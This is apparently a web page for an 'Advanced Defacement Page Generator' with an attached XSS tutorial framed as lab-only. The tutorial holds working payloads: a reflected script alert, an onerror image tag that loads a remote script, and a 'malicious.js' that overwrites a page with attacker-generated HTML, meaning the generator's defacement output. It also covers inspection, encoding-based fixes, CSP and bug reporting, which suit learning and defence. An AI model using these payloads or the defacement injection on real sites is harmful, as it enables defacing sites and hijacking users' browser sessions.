Advanced Defacement Page Generator








































Preview:

Generated Code:

XSS Quick-Learn & PoC (for local labs only)

Warning: Only test these examples on systems you own or are explicitly authorized to test (e.g. localhost or purpose-built labs). Misuse against third-party systems is illegal.

1 — What XSS is (short)

Cross-Site Scripting (XSS) happens when attacker-controlled input is included in a page and the browser executes it as code. The injected script runs in the victim’s browser with the site’s privileges and can read DOM, make authenticated requests, or exfiltrate local data.

2 — How to confirm (safe PoCs)

Reflected / basic (body context)
Put the URL-encoded payload into a parameter on a local app that reflects input. This is a safe, non-destructive test that only shows execution.

%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
Use only on localhost

Event-handler (when <script> is blocked but tags allowed)
Use an element event like onerror to dynamically load a harmless external file from a local server (lab only).

<img src="x" onerror="var s=document.createElement('script');s.src='http://localhost:9000/malicious.js';document.body.appendChild(s);">
%3Cimg%20src%3Dx%20onerror%3D%22var%20s%3Ddocument.createElement('script')%3Bs.src%3D'http%3A%2F%2Flocalhost%3A9000%2Fmalicious.js'%3Bdocument.body.appendChild(s)%3B%22%3E
Start a local server with python3 -m http.server 9000 and serve a harmless malicious.js (see below)

`malicious.js` (harmless lab file)

// malicious.js (lab only)
  console.log('Lab external script executed — no harm done');
  alert('External script executed (lab)');
or to inject generated page 
// malicious.js (lab only)
  const htmlContent = `PASTE_YOUR_GENERATED_HTML_HERE`;
  document.open();
  document.write(htmlContent);
  document.close();

3 — How to inspect & confirm

  1. Open DevTools → Network, reload the page, inspect response body where your input is reflected.
  2. Open DevTools → Elements, find where your input is inserted (text node, attribute, inside <script> etc.).
  3. Check Console for your alert() or console.log() messages.

4 — Why this matters

With XSS an attacker can impersonate users, make authenticated API calls, capture credentials via phishing UI, or exfiltrate sensitive page content.

5 — Fixes & mitigations

Output-encode user input by context (HTML, attribute, JS).
Example (PHP): htmlspecialchars($v, ENT_QUOTES|ENT_HTML5, 'UTF-8') or json_encode() inside scripts.
Use CSP, HttpOnly cookies, avoid innerHTML with untrusted data, and sanitize HTML with libraries like DOMPurify if you must allow markup.

6 — What to include in a bug report

  • Exact PoC URL (encoded) you used.
  • Browser + version.
  • Screenshot: Elements showing reflection and Network showing response.
  • Short impact statement and recommended fix (contextual encoding + CSP + HttpOnly).

7 — Quick checklist (safe testing)

  • Test only on localhost or systems you own.
  • Use non-destructive PoCs: alert() or console.log().
  • Don’t share active payloads publicly against third-party sites.